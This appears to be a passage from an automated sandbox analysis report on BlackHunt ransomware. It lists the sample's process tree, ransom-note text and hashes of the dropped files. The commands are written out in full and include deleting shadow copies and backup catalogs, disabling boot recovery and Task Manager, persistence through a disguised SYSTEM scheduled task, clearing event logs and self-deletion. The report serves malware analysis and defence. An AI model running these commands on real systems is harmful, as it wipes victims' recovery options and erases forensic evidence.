                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                                2⤵
                                  PID:2900
                                  • C:\Windows\system32\reg.exe
                                    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                                    3⤵
                                      PID:3632
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                    2⤵
                                      PID:116
                                      • C:\Windows\system32\reg.exe
                                        reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                        3⤵
                                          PID:1804
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                                        2⤵
                                          PID:5096
                                          • C:\Windows\system32\reg.exe
                                            reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                                            3⤵
                                              PID:2968
                                          • C:\Windows\System32\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                            2⤵
                                              PID:4368
                                              • C:\Windows\system32\reg.exe
                                                reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                3⤵
                                                  PID:540
                                              • C:\Windows\System32\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                                                2⤵
                                                  PID:2860
                                                  • C:\Windows\system32\reg.exe
                                                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                                                    3⤵
                                                      PID:8016
                                                  • C:\Windows\System32\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                                    2⤵
                                                      PID:2676
                                                      • C:\Windows\system32\reg.exe
                                                        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                                        3⤵
                                                          PID:10552
                                                      • C:\Windows\System32\cmd.exe
                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
                                                        2⤵
                                                          PID:2684
                                                          • C:\Windows\system32\reg.exe
                                                            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
                                                            3⤵
                                                              PID:4900
                                                          • C:\Windows\System32\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                                            2⤵
                                                              PID:4992
                                                              • C:\Windows\system32\reg.exe
                                                                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                                                3⤵
                                                                  PID:6340
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                                                2⤵
                                                                  PID:3412
                                                                  • C:\Windows\system32\reg.exe
                                                                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                                                    3⤵
                                                                      PID:8184
                                                                  • C:\Windows\System32\cmd.exe
                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                                                                    2⤵
                                                                      PID:3992
                                                                      • C:\Windows\system32\reg.exe
                                                                        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                                                                        3⤵
                                                                          PID:8968
                                                                      • C:\Windows\System32\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                                                                        2⤵
                                                                          PID:5048
                                                                          • C:\Windows\system32\reg.exe
                                                                            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                                                                            3⤵
                                                                              PID:9080
                                                                          • C:\Windows\System32\cmd.exe
                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                                                            2⤵
                                                                              PID:4640
                                                                              • C:\Windows\system32\reg.exe
                                                                                reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                                                                3⤵
                                                                                  PID:9208
                                                                              • C:\Windows\System32\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                                                                2⤵
                                                                                  PID:2816
                                                                                  • C:\Windows\system32\reg.exe
                                                                                    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                                                                    3⤵
                                                                                      PID:11192
                                                                                  • C:\Windows\System32\cmd.exe
                                                                                    "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\fc4303cde9c73266e452d9ba18111c02fdcc137987635de7b044d7947cb66e87.exe" /F
                                                                                    2⤵
                                                                                      PID:2608
                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                        SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\fc4303cde9c73266e452d9ba18111c02fdcc137987635de7b044d7947cb66e87.exe" /F
                                                                                        3⤵
                                                                                        • Creates scheduled task(s)
                                                                                        PID:5912
                                                                                    • C:\Windows\System32\cmd.exe
                                                                                      "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                                                                                      2⤵
                                                                                        PID:1272
                                                                                        • C:\Windows\system32\vssadmin.exe
                                                                                          vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                                                                                          3⤵
                                                                                          • Enumerates connected drives
                                                                                          • Interacts with shadow copies
                                                                                          PID:9676
                                                                                      • C:\Windows\System32\cmd.exe
                                                                                        "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                                                                                        2⤵
                                                                                          PID:1832
                                                                                          • C:\Windows\system32\vssadmin.exe
                                                                                            vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                                                                                            3⤵
                                                                                            • Enumerates connected drives
                                                                                            • Interacts with shadow copies
                                                                                            PID:9312
                                                                                        • C:\Windows\System32\cmd.exe
                                                                                          "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                                                                                          2⤵
                                                                                            PID:1496
                                                                                            • C:\Windows\system32\vssadmin.exe
                                                                                              vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                                                                                              3⤵
                                                                                              • Interacts with shadow copies
                                                                                              PID:9240
                                                                                          • C:\Windows\System32\cmd.exe
                                                                                            "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                                                                                            2⤵
                                                                                              PID:2472
                                                                                              • C:\Windows\system32\vssadmin.exe
                                                                                                vssadmin.exe Delete Shadows /all /quiet
                                                                                                3⤵
                                                                                                • Interacts with shadow copies
                                                                                                PID:9680
                                                                                            • C:\Windows\System32\cmd.exe
                                                                                              "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                                                                                              2⤵
                                                                                                PID:5020
                                                                                                • C:\Windows\system32\bcdedit.exe
                                                                                                  bcdedit /set {default} recoveryenabled No
                                                                                                  3⤵
                                                                                                  • Modifies boot configuration data using bcdedit
                                                                                                  PID:9368
                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                                                                                                2⤵
                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                PID:3392
                                                                                                • C:\Windows\system32\vssadmin.exe
                                                                                                  vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                                                                                                  3⤵
                                                                                                  • Interacts with shadow copies
                                                                                                  PID:9352
                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                                                                                                2⤵
                                                                                                  PID:4568
                                                                                                  • C:\Windows\system32\fsutil.exe
                                                                                                    fsutil.exe usn deletejournal /D C:
                                                                                                    3⤵
                                                                                                    • Deletes NTFS Change Journal
                                                                                                    PID:9524
                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                  2⤵
                                                                                                    PID:428
                                                                                                    • C:\Windows\system32\bcdedit.exe
                                                                                                      bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                      3⤵
                                                                                                      • Modifies boot configuration data using bcdedit
                                                                                                      PID:9304
                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                    "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                                                                                                    2⤵
                                                                                                      PID:4388
                                                                                                      • C:\Windows\system32\wbadmin.exe
                                                                                                        wbadmin.exe delete catalog -quiet
                                                                                                        3⤵
                                                                                                        • Deletes backup catalog
                                                                                                        PID:9520
                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                      "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                      2⤵
                                                                                                        PID:4444
                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                          3⤵
                                                                                                            PID:2052
                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                            schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                            3⤵
                                                                                                              PID:9308
                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                            "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
                                                                                                            2⤵
                                                                                                              PID:7056
                                                                                                              • C:\Windows\system32\fsutil.exe
                                                                                                                fsutil usn deletejournal /D F:\
                                                                                                                3⤵
                                                                                                                • Enumerates connected drives
                                                                                                                PID:12932
                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                              "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
                                                                                                              2⤵
                                                                                                                PID:6984
                                                                                                                • C:\Windows\system32\fsutil.exe
                                                                                                                  fsutil usn deletejournal /D C:\
                                                                                                                  3⤵
                                                                                                                    PID:5684
                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
                                                                                                                  2⤵
                                                                                                                    PID:5328
                                                                                                                    • C:\Windows\system32\fsutil.exe
                                                                                                                      fsutil usn deletejournal /D M:\
                                                                                                                      3⤵
                                                                                                                      • Enumerates connected drives
                                                                                                                      PID:5884
                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                    "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
                                                                                                                    2⤵
                                                                                                                      PID:7180
                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                        wevtutil.exe cl Setup
                                                                                                                        3⤵
                                                                                                                        • Clears Windows event logs
                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                        PID:12124
                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                      "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
                                                                                                                      2⤵
                                                                                                                        PID:5932
                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                          wevtutil.exe cl Security
                                                                                                                          3⤵
                                                                                                                          • Clears Windows event logs
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:6368
                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                        "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
                                                                                                                        2⤵
                                                                                                                          PID:12876
                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                            wevtutil.exe cl Application
                                                                                                                            3⤵
                                                                                                                            • Clears Windows event logs
                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                            PID:5404
                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                          "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                                                                                                                          2⤵
                                                                                                                            PID:5964
                                                                                                                            • C:\Windows\system32\vssadmin.exe
                                                                                                                              vssadmin.exe Delete Shadows /all /quiet
                                                                                                                              3⤵
                                                                                                                              • Interacts with shadow copies
                                                                                                                              PID:6516
                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
                                                                                                                            2⤵
                                                                                                                              PID:14264
                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                wevtutil.exe cl Security /e:false
                                                                                                                                3⤵
                                                                                                                                • Clears Windows event logs
                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                PID:11664
                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                              "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
                                                                                                                              2⤵
                                                                                                                                PID:12840
                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                  wevtutil.exe cl System
                                                                                                                                  3⤵
                                                                                                                                  • Clears Windows event logs
                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                  PID:11360
                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                                                                                                                                2⤵
                                                                                                                                  PID:6408
                                                                                                                                  • C:\Windows\system32\bcdedit.exe
                                                                                                                                    bcdedit /set {default} recoveryenabled No
                                                                                                                                    3⤵
                                                                                                                                    • Modifies boot configuration data using bcdedit
                                                                                                                                    PID:10564
                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                                  2⤵
                                                                                                                                    PID:5800
                                                                                                                                    • C:\Windows\system32\bcdedit.exe
                                                                                                                                      bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                                      3⤵
                                                                                                                                      • Modifies boot configuration data using bcdedit
                                                                                                                                      PID:6400
                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                    "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                                                                                                                                    2⤵
                                                                                                                                      PID:11288
                                                                                                                                      • C:\Windows\system32\fsutil.exe
                                                                                                                                        fsutil.exe usn deletejournal /D C:
                                                                                                                                        3⤵
                                                                                                                                        • Deletes NTFS Change Journal
                                                                                                                                        PID:7540
                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                      "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                                                                                                                                      2⤵
                                                                                                                                        PID:8216
                                                                                                                                        • C:\Windows\system32\wbadmin.exe
                                                                                                                                          wbadmin.exe delete catalog -quiet
                                                                                                                                          3⤵
                                                                                                                                          • Deletes backup catalog
                                                                                                                                          PID:8232
                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                        "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                                        2⤵
                                                                                                                                          PID:12272
                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                            schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                                            3⤵
                                                                                                                                              PID:10792
                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                            "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
                                                                                                                                            2⤵
                                                                                                                                              PID:6112
                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
                                                                                                                                                3⤵
                                                                                                                                                  PID:5840
                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
                                                                                                                                                2⤵
                                                                                                                                                  PID:7224
                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
                                                                                                                                                    3⤵
                                                                                                                                                      PID:9212
                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
                                                                                                                                                    2⤵
                                                                                                                                                      PID:7388
                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                        REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
                                                                                                                                                        3⤵
                                                                                                                                                          PID:13756
                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
                                                                                                                                                        2⤵
                                                                                                                                                          PID:10444
                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                            reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
                                                                                                                                                            3⤵
                                                                                                                                                              PID:11080
                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
                                                                                                                                                            2⤵
                                                                                                                                                              PID:10516
                                                                                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                                                                                taskkill /IM mshta.exe /f
                                                                                                                                                                3⤵
                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                PID:11536
                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
                                                                                                                                                              2⤵
                                                                                                                                                                PID:14248
                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                  reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:13608
                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:9468
                                                                                                                                                                    • C:\Windows\system32\notepad.exe
                                                                                                                                                                      notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:6536
                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
                                                                                                                                                                      2⤵
                                                                                                                                                                      • Checks computer location settings
                                                                                                                                                                      • Modifies registry class
                                                                                                                                                                      PID:6752
                                                                                                                                                                      • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                        "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:6964
                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 6964 -s 1444
                                                                                                                                                                            4⤵
                                                                                                                                                                            • Program crash
                                                                                                                                                                            PID:4960
                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\fc4303cde9c73266e452d9ba18111c02fdcc137987635de7b044d7947cb66e87.exe"
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:13988
                                                                                                                                                                          • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                            ping 127.0.0.1 -n 5
                                                                                                                                                                            3⤵
                                                                                                                                                                            • Runs ping.exe
                                                                                                                                                                            PID:5332
                                                                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                        1⤵
                                                                                                                                                                          PID:1444
                                                                                                                                                                        • C:\Windows\system32\vssvc.exe
                                                                                                                                                                          C:\Windows\system32\vssvc.exe
                                                                                                                                                                          1⤵
                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                          PID:8332
                                                                                                                                                                        • C:\Windows\system32\wbengine.exe
                                                                                                                                                                          "C:\Windows\system32\wbengine.exe"
                                                                                                                                                                          1⤵
                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                          PID:12776
                                                                                                                                                                        • C:\Windows\System32\vdsldr.exe
                                                                                                                                                                          C:\Windows\System32\vdsldr.exe -Embedding
                                                                                                                                                                          1⤵
                                                                                                                                                                            PID:9272
                                                                                                                                                                          • C:\Windows\System32\vds.exe
                                                                                                                                                                            C:\Windows\System32\vds.exe
                                                                                                                                                                            1⤵
                                                                                                                                                                            • Checks SCSI registry key(s)
                                                                                                                                                                            PID:6116
                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 6964 -ip 6964
                                                                                                                                                                            1⤵
                                                                                                                                                                              PID:11824

                                                                                                                                                                            Network

                                                                                                                                                                            MITRE ATT&CK Enterprise v15

                                                                                                                                                                            Replay Monitor

                                                                                                                                                                            Loading Replay Monitor...

                                                                                                                                                                            Downloads

                                                                                                                                                                            • C:\ProgramData\#BlackHunt_Private.key

                                                                                                                                                                              Filesize

                                                                                                                                                                              1KB

                                                                                                                                                                              MD5

                                                                                                                                                                              9a56e858c6188d5fce23f8dd4f8483f9

                                                                                                                                                                              SHA1

                                                                                                                                                                              51671c792d7efcfd0a94cc4a60245bc0a413a517

                                                                                                                                                                              SHA256

                                                                                                                                                                              2d6214ba03c8e1f1abe9939e6f5d0cd36bb8af05544b5013706388792c7f09a1

                                                                                                                                                                              SHA512

                                                                                                                                                                              1e06f4239976d9a21caa28fbb328b30bdc81054eca47c331b8e665aafb55ee27f3a589c3ce49208f5ba88a3750ede142761585ee0eb05399fe1c4f431a99deb0

                                                                                                                                                                            • C:\ProgramData\#BlackHunt_ReadMe.hta

                                                                                                                                                                              Filesize

                                                                                                                                                                              12KB

                                                                                                                                                                              MD5

                                                                                                                                                                              347f421896e6f46cd10770304cc675cb

                                                                                                                                                                              SHA1

                                                                                                                                                                              f9ee60e374f2d0f111a9504e8b0da85c41366024

                                                                                                                                                                              SHA256

                                                                                                                                                                              29c472b3ca758713bed732c100da13ccf84d30ac8e45cb56128a7aab6af9a34c

                                                                                                                                                                              SHA512

                                                                                                                                                                              4efb33462abdfc3ec3898ccde32e7c4923574c9b45c645852a33a9197bb513dcc3dc0cc98f369f788eed70bbea1f55a841b8a47e1f651d5e3e121f08cfde57bb

                                                                                                                                                                            • C:\ProgramData\#BlackHunt_ReadMe.txt

                                                                                                                                                                              Filesize

                                                                                                                                                                              684B

                                                                                                                                                                              MD5

                                                                                                                                                                              23668b4154eb92ec1b6c102d5ae4a2a7

                                                                                                                                                                              SHA1

                                                                                                                                                                              10f1fa4f805e886354a5ece322aac1161c2e71e4

                                                                                                                                                                              SHA256

                                                                                                                                                                              d1ac62e474bdd4c13682ec869ec9745cdeaea17eaad958b3d4938228417fc220

                                                                                                                                                                              SHA512

                                                                                                                                                                              935e177a07f1e8218a4a52453b3c50c2b01fa4c71341a1cc2b7e5cf3b1c156bad74364b8ce6b0683f1e02b829284fa953427ab42f56dee6405e31c7389768e61